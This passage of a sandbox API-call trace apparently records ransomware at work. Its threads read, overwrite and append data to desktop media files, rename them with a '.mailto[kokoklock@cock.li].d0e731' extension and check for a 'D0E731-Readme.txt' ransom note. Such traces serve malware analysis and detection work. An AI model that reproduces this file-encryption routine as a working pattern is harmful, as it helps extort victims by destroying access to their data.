0xf7b389f [0069.896] RtlRandom (in: Seed=0x12c3fbe8 | out: Seed=0x12c3fbe8) returned 0x275b6bff [0069.896] RtlRandom (in: Seed=0x12c3fbe8 | out: Seed=0x12c3fbe8) returned 0x27b91c92 [0069.896] RtlRandom (in: Seed=0x12c3fbe8 | out: Seed=0x12c3fbe8) returned 0x8c079d5d [0069.896] RtlRandom (in: Seed=0x12c3fbe8 | out: Seed=0x12c3fbe8) returned 0x9ba9bad9 [0069.896] RtlRandom (in: Seed=0x12c3fbe8 | out: Seed=0x12c3fbe8) returned 0x661f166 [0069.896] RtlRandom (in: Seed=0x12c3fbe8 | out: Seed=0x12c3fbe8) returned 0x876b7a4d [0069.896] RtlRandom (in: Seed=0x12c3fbe8 | out: Seed=0x12c3fbe8) returned 0x5b8eaf62 [0069.896] RtlRandom (in: Seed=0x12c3fbe8 | out: Seed=0x12c3fbe8) returned 0xbc538c3d [0069.896] RtlRandom (in: Seed=0x12c3fbe8 | out: Seed=0x12c3fbe8) returned 0x232be2e3 [0069.907] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.908] ReadFile (in: hFile=0x774, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x12c3fbb4, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x12c3fbb4*=0x4096, lpOverlapped=0x0) returned 1 [0069.908] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.908] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd358 [0069.908] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479c40 [0069.908] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342be10 [0069.908] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342be10) returned 1 [0069.908] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3486220 [0069.908] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bc08 [0069.908] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bdc0 [0069.908] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bdc0) returned 1 [0069.909] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479c40) returned 1 [0069.909] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0069.909] WriteFile (in: hFile=0x774, lpBuffer=0x3486220*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x12c3fbb4, lpOverlapped=0x0 | out: lpBuffer=0x3486220*, lpNumberOfBytesWritten=0x12c3fbb4*=0x4096, lpOverlapped=0x0) returned 1 [0069.909] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0069.909] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x6401, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.909] WriteFile (in: hFile=0x774, lpBuffer=0x342bc08*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x12c3fbec, lpOverlapped=0x0 | out: lpBuffer=0x342bc08*, lpNumberOfBytesWritten=0x12c3fbec*=0x20, lpOverlapped=0x0) returned 1 [0069.909] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bc08) returned 1 [0069.909] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0069.909] WriteFile (in: hFile=0x774, lpBuffer=0x342bd98*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x12c3fc00, lpOverlapped=0x0 | out: lpBuffer=0x342bd98*, lpNumberOfBytesWritten=0x12c3fc00*=0x8, lpOverlapped=0x0) returned 1 [0069.909] WriteFile (in: hFile=0x774, lpBuffer=0x12c3fc18*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x12c3fc00, lpOverlapped=0x0 | out: lpBuffer=0x12c3fc18*, lpNumberOfBytesWritten=0x12c3fc00*=0x4, lpOverlapped=0x0) returned 1 [0069.909] WriteFile (in: hFile=0x774, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x12c3fc00, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x12c3fc00*=0x4, lpOverlapped=0x0) returned 1 [0069.909] WriteFile (in: hFile=0x774, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x12c3fc00, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x12c3fc00*=0x6c, lpOverlapped=0x0) returned 1 [0069.909] WriteFile (in: hFile=0x774, lpBuffer=0x342bb18*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x12c3fc00, lpOverlapped=0x0 | out: lpBuffer=0x342bb18*, lpNumberOfBytesWritten=0x12c3fc00*=0x20, lpOverlapped=0x0) returned 1 [0069.909] WriteFile (in: hFile=0x774, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x12c3fc00, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x12c3fc00*=0x4, lpOverlapped=0x0) returned 1 [0069.910] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bb18) returned 1 [0069.910] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bd70) returned 1 [0069.910] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bd98) returned 1 [0069.910] CloseHandle (hObject=0x774) returned 1 [0070.920] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8e) returned 0x347be68 [0070.920] wcscpy (in: _Dest=0x347be68, _Source="C:\\Users\\FD1HVy\\Desktop\\dCCr2t7Rk.swf" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\dCCr2t7Rk.swf") returned="C:\\Users\\FD1HVy\\Desktop\\dCCr2t7Rk.swf" [0070.920] wcscat (in: _Dest=0x347be68, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\dCCr2t7Rk.swf.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\dCCr2t7Rk.swf.mailto[kokoklock@cock.li].d0e731" [0070.920] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\dCCr2t7Rk.swf" (normalized: "c:\\users\\fd1hvy\\desktop\\dccr2t7rk.swf"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\dCCr2t7Rk.swf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\dccr2t7rk.swf.mailto[kokoklock@cock.li].d0e731")) returned 1 [0070.979] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\dCCr2t7Rk.swf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0070.979] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347be68) returned 1 [0070.979] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\dCCr2t7Rk.swf", dwFileAttributes=0x20) returned 0 [0070.979] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x56) returned 0x347fc40 [0070.979] wcscpy (in: _Dest=0x347fc40, _Source="C:\\Users\\FD1HVy\\Desktop\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0070.979] wcscat (in: _Dest=0x347fc40, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" [0070.979] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\d0e731-readme.txt")) returned 0x20 [0070.979] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fc40) returned 1 [0070.979] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3430bd0) returned 1 [0070.979] RtlExitUserThread (Status=0x1) Thread: id = 446 os_tid = 0xf38 [0069.912] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\deQ4eVpb.avi" (normalized: "c:\\users\\fd1hvy\\desktop\\deq4evpb.avi")) returned 0x20 [0069.912] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\deQ4eVpb.avi", dwFileAttributes=0x20) returned 1 [0069.912] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\deQ4eVpb.avi" (normalized: "c:\\users\\fd1hvy\\desktop\\deq4evpb.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x774 [0069.912] GetFileSizeEx (in: hFile=0x774, lpFileSize=0x12cbfd44 | out: lpFileSize=0x12cbfd44*=69652) returned 1 [0069.912] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x11010, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.912] ReadFile (in: hFile=0x774, lpBuffer=0x12cbfd18, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x12cbfd14, lpOverlapped=0x0 | out: lpBuffer=0x12cbfd18*, lpNumberOfBytesRead=0x12cbfd14*=0x4, lpOverlapped=0x0) returned 1 [0069.912] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.912] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bc08 [0069.912] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bb18 [0069.912] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bd70 [0069.912] NtQuerySystemTime (in: CurrentTime=0x12cbfcf0 | out: CurrentTime=0x12cbfcf0*=132121176278066721) returned 0x0 [0069.912] RtlRandom (in: Seed=0x12cbfcfc | out: Seed=0x12cbfcfc) returned 0x2c2211 [0069.912] RtlRandom (in: Seed=0x12cbfcfc | out: Seed=0x12cbfcfc) returned 0x842bac98 [0069.912] RtlRandom (in: Seed=0x12cbfcfc | out: Seed=0x12cbfcfc) returned 0x4af689dc [0069.912] RtlRandom (in: Seed=0x12cbfcfc | out: Seed=0x12cbfcfc) returned 0x85f6a3b3 [0069.913] RtlRandom (in: Seed=0x12cbfcfc | out: Seed=0x12cbfcfc) returned 0x993feee3 [0069.913] RtlRandom (in: Seed=0x12cbfcfc | out: Seed=0x12cbfcfc) returned 0xce2f6ecf [0069.913] RtlRandom (in: Seed=0x12cbfcfc | out: Seed=0x12cbfcfc) returned 0x550ae9d5 [0069.913] RtlRandom (in: Seed=0x12cbfcfc | out: Seed=0x12cbfcfc) returned 0xe442cdb8 [0069.913] RtlRandom (in: Seed=0x12cbfcfc | out: Seed=0x12cbfcfc) returned 0x89010dbf [0069.913] RtlRandom (in: Seed=0x12cbfcfc | out: Seed=0x12cbfcfc) returned 0x2736f667 [0069.913] RtlRandom (in: Seed=0x12cbfcfc | out: Seed=0x12cbfcfc) returned 0x60c1d864 [0069.913] RtlRandom (in: Seed=0x12cbfcfc | out: Seed=0x12cbfcfc) returned 0x2126cc7 [0069.913] RtlRandom (in: Seed=0x12cbfcfc | out: Seed=0x12cbfcfc) returned 0xe42beac7 [0069.913] RtlRandom (in: Seed=0x12cbfcfc | out: Seed=0x12cbfcfc) returned 0x44f4975c [0069.913] RtlRandom (in: Seed=0x12cbfcfc | out: Seed=0x12cbfcfc) returned 0xcc469f7f [0069.913] RtlRandom (in: Seed=0x12cbfcfc | out: Seed=0x12cbfcfc) returned 0xb863918c [0069.913] RtlRandom (in: Seed=0x12cbfcfc | out: Seed=0x12cbfcfc) returned 0xba0ce6ef [0069.913] RtlRandom (in: Seed=0x12cbfcfc | out: Seed=0x12cbfcfc) returned 0xa658c4c7 [0069.913] RtlRandom (in: Seed=0x12cbfcfc | out: Seed=0x12cbfcfc) returned 0x4f872802 [0069.913] RtlRandom (in: Seed=0x12cbfcfc | out: Seed=0x12cbfcfc) returned 0x7f8c28c3 [0069.913] RtlRandom (in: Seed=0x12cbfcfc | out: Seed=0x12cbfcfc) returned 0x4bb27bc4 [0069.913] RtlRandom (in: Seed=0x12cbfcfc | out: Seed=0x12cbfcfc) returned 0x6f9863d9 [0069.913] RtlRandom (in: Seed=0x12cbfcfc | out: Seed=0x12cbfcfc) returned 0x38185c2e [0069.913] RtlRandom (in: Seed=0x12cbfcfc | out: Seed=0x12cbfcfc) returned 0x4257f40f [0069.913] RtlRandom (in: Seed=0x12cbfcfc | out: Seed=0x12cbfcfc) returned 0xf7b625bd [0069.913] RtlRandom (in: Seed=0x12cbfcfc | out: Seed=0x12cbfcfc) returned 0x2599fc82 [0069.913] RtlRandom (in: Seed=0x12cbfcfc | out: Seed=0x12cbfcfc) returned 0xbc1a5fca [0069.913] RtlRandom (in: Seed=0x12cbfcfc | out: Seed=0x12cbfcfc) returned 0xd91221b2 [0069.913] RtlRandom (in: Seed=0x12cbfcfc | out: Seed=0x12cbfcfc) returned 0x245ca6d2 [0069.913] RtlRandom (in: Seed=0x12cbfcfc | out: Seed=0x12cbfcfc) returned 0x99d4fc8b [0069.913] RtlRandom (in: Seed=0x12cbfcfc | out: Seed=0x12cbfcfc) returned 0x20507c47 [0069.913] RtlRandom (in: Seed=0x12cbfcfc | out: Seed=0x12cbfcfc) returned 0x85033edd [0069.924] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.924] ReadFile (in: hFile=0x774, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x12cbfcc8, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x12cbfcc8*=0x4096, lpOverlapped=0x0) returned 1 [0069.924] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.924] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd358 [0069.924] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479c40 [0069.924] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342be10 [0069.924] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342be10) returned 1 [0069.925] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3486220 [0069.925] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bc08 [0069.925] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bde8 [0069.925] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bde8) returned 1 [0069.925] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479c40) returned 1 [0069.925] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0069.925] WriteFile (in: hFile=0x774, lpBuffer=0x3486220*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x12cbfcc8, lpOverlapped=0x0 | out: lpBuffer=0x3486220*, lpNumberOfBytesWritten=0x12cbfcc8*=0x4096, lpOverlapped=0x0) returned 1 [0069.925] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0069.925] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x11014, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.925] WriteFile (in: hFile=0x774, lpBuffer=0x342bc08*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x12cbfd00, lpOverlapped=0x0 | out: lpBuffer=0x342bc08*, lpNumberOfBytesWritten=0x12cbfd00*=0x20, lpOverlapped=0x0) returned 1 [0069.925] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bc08) returned 1 [0069.925] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0069.925] WriteFile (in: hFile=0x774, lpBuffer=0x342bdc0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x12cbfd14, lpOverlapped=0x0 | out: lpBuffer=0x342bdc0*, lpNumberOfBytesWritten=0x12cbfd14*=0x8, lpOverlapped=0x0) returned 1 [0069.926] WriteFile (in: hFile=0x774, lpBuffer=0x12cbfd2c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x12cbfd14, lpOverlapped=0x0 | out: lpBuffer=0x12cbfd2c*, lpNumberOfBytesWritten=0x12cbfd14*=0x4, lpOverlapped=0x0) returned 1 [0069.926] WriteFile (in: hFile=0x774, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x12cbfd14, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x12cbfd14*=0x4, lpOverlapped=0x0) returned 1 [0069.926] WriteFile (in: hFile=0x774, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x12cbfd14, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x12cbfd14*=0x6c, lpOverlapped=0x0) returned 1 [0069.926] WriteFile (in: hFile=0x774, lpBuffer=0x342bb18*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x12cbfd14, lpOverlapped=0x0 | out: lpBuffer=0x342bb18*, lpNumberOfBytesWritten=0x12cbfd14*=0x20, lpOverlapped=0x0) returned 1 [0069.926] WriteFile (in: hFile=0x774, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x12cbfd14, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x12cbfd14*=0x4, lpOverlapped=0x0) returned 1 [0069.926] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bb18) returned 1 [0069.926] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bd98) returned 1 [0069.926] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bdc0) returned 1 [0069.926] CloseHandle (hObject=0x774) returned 1 [0070.920] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8c) returned 0x347bf00 [0070.920] wcscpy (in: _Dest=0x347bf00, _Source="C:\\Users\\FD1HVy\\Desktop\\deQ4eVpb.avi" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\deQ4eVpb.avi") returned="C:\\Users\\FD1HVy\\Desktop\\deQ4eVpb.avi" [0070.920] wcscat (in: _Dest=0x347bf00, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\deQ4eVpb.avi.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\deQ4eVpb.avi.mailto[kokoklock@cock.li].d0e731" [0070.920] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\deQ4eVpb.avi" (normalized: "c:\\users\\fd1hvy\\desktop\\deq4evpb.avi"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\deQ4eVpb.avi.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\deq4evpb.avi.mailto[kokoklock@cock.li].d0e731")) returned 1 [0070.977] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\deQ4eVpb.avi.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0070.978] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347bf00) returned 1 [0070.978] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\deQ4eVpb.avi", dwFileAttributes=0x20) returned 0 [0070.978] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x56) returned 0x347fc40 [0070.978] wcscpy (in: _Dest=0x347fc40, _Source="C:\\Users\\FD1HVy\\Desktop\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0070.978] wcscat (in: _Dest=0x347fc40, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" [0070.978] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\d0e731-readme.txt")) returned 0x20 [0070.978] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fc40) returned 1 [0070.978] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3430860) returned 1 [0070.978] RtlExitUserThread (Status=0x1) Thread: id = 447 os_tid = 0x744 [0069.929] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\DhqnA4nJvwKX5.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\dhqna4njvwkx5.bmp")) returned 0x20 [0069.929] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\DhqnA4nJvwKX5.bmp", dwFileAttributes=0x20) returned 1 [0069.930] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\DhqnA4nJvwKX5.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\dhqna4njvwkx5.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x774 [0069.930] GetFileSizeEx (in: hFile=0x774, lpFileSize=0x12d3fc84 | out: lpFileSize=0x12d3fc84*=28271) returned 1 [0069.930] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x6e6b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.930] ReadFile (in: hFile=0x774, lpBuffer=0x12d3fc58, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x12d3fc54, lpOverlapped=0x0 | out: lpBuffer=0x12d3fc58*, lpNumberOfBytesRead=0x12d3fc54*=0x4, lpOverlapped=0x0) returned 1 [0069.930] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.931] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bc08 [0069.931] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bb18 [0069.931] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bd98 [0069.931] NtQuerySystemTime (in: CurrentTime=0x12d3fc30 | out: CurrentTime=0x12d3fc30*=132121176278222942) returned 0x0 [0069.931] RtlRandom (in: Seed=0x12d3fc3c | out: Seed=0x12d3fc3c) returned 0x9b8aa2b8 [0069.931] RtlRandom (in: Seed=0x12d3fc3c | out: Seed=0x12d3fc3c) returned 0x210672c5 [0069.931] RtlRandom (in: Seed=0x12d3fc3c | out: Seed=0x12d3fc3c) returned 0xf0d11ed3 [0069.931] RtlRandom (in: Seed=0x12d3fc3c | out: Seed=0x12d3fc3c) returned 0x70768ad6 [0069.931] RtlRandom (in: Seed=0x12d3fc3c | out: Seed=0x12d3fc3c) returned 0xeeb1f0de [0069.931] RtlRandom (in: Seed=0x12d3fc3c | out: Seed=0x12d3fc3c) returned 0x6ad5314a [0069.931] RtlRandom (in: Seed=0x12d3fc3c | out: Seed=0x12d3fc3c) returned 0xb2b62230 [0069.931] RtlRandom (in: Seed=0x12d3fc3c | out: Seed=0x12d3fc3c) returned 0xdc8e7b7 [0069.931] RtlRandom (in: Seed=0x12d3fc3c | out: Seed=0x12d3fc3c) returned 0xa0b9335a [0069.931] RtlRandom (in: Seed=0x12d3fc3c | out: Seed=0x12d3fc3c) returned 0x74011893 [0069.931] RtlRandom (in: Seed=0x12d3fc3c | out: Seed=0x12d3fc3c) returned 0xaf05e521 [0069.931] RtlRandom (in: Seed=0x12d3fc3c | out: Seed=0x12d3fc3c) returned 0x4911be15 [0069.931] RtlRandom (in: Seed=0x12d3fc3c | out: Seed=0x12d3fc3c) returned 0x62839bce [0069.931] RtlRandom (in: Seed=0x12d3fc3c | out: Seed=0x12d3fc3c) returned 0x17d01cd9 [0069.931] RtlRandom (in: Seed=0x12d3fc3c | out: Seed=0x12d3fc3c) returned 0xa05f5e77 [0069.931] RtlRandom (in: Seed=0x12d3fc3c | out: Seed=0x12d3fc3c) returned 0x83d8eae0 [0069.931] RtlRandom (in: Seed=0x12d3fc3c | out: Seed=0x12d3fc3c) returned 0x87158caa [0069.931] RtlRandom (in: Seed=0x12d3fc3c | out: Seed=0x12d3fc3c) returned 0x5f9d62c1 [0069.931] RtlRandom (in: Seed=0x12d3fc3c | out: Seed=0x12d3fc3c) returned 0xc101d04f [0069.931] RtlRandom (in: Seed=0x12d3fc3c | out: Seed=0x12d3fc3c) returned 0x97669601 [0069.931] RtlRandom (in: Seed=0x12d3fc3c | out: Seed=0x12d3fc3c) returned 0xca6991b4 [0069.931] RtlRandom (in: Seed=0x12d3fc3c | out: Seed=0x12d3fc3c) returned 0x4c60f2a9 [0069.931] RtlRandom (in: Seed=0x12d3fc3c | out: Seed=0x12d3fc3c) returned 0xc6785d4b [0069.931] RtlRandom (in: Seed=0x12d3fc3c | out: Seed=0x12d3fc3c) returned 0xf2bd4c11 [0069.931] RtlRandom (in: Seed=0x12d3fc3c | out: Seed=0x12d3fc3c) returned 0xbb26eae5 [0069.931] RtlRandom (in: Seed=0x12d3fc3c | out: Seed=0x12d3fc3c) returned 0x9afb84fa [0069.931] RtlRandom (in: Seed=0x12d3fc3c | out: Seed=0x12d3fc3c) returned 0xb3b6a7ba [0069.931] RtlRandom (in: Seed=0x12d3fc3c | out: Seed=0x12d3fc3c) returned 0xd9eda9ae [0069.931] RtlRandom (in: Seed=0x12d3fc3c | out: Seed=0x12d3fc3c) returned 0xc083cafe [0069.931] RtlRandom (in: Seed=0x12d3fc3c | out: Seed=0x12d3fc3c) returned 0x30fef8f2 [0069.932] RtlRandom (in: Seed=0x12d3fc3c | out: Seed=0x12d3fc3c) returned 0xe6a73615 [0069.932] RtlRandom (in: Seed=0x12d3fc3c | out: Seed=0x12d3fc3c) returned 0x2d50ae30 [0069.943] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.943] ReadFile (in: hFile=0x774, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x12d3fc08, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x12d3fc08*=0x4096, lpOverlapped=0x0) returned 1 [0069.943] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.943] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd358 [0069.943] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479c40 [0069.943] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342be10 [0069.943] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342be10) returned 1 [0069.944] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3486220 [0069.944] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bc08 [0069.944] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342be10 [0069.944] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342be10) returned 1 [0069.944] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479c40) returned 1 [0069.944] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0069.944] WriteFile (in: hFile=0x774, lpBuffer=0x3486220*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x12d3fc08, 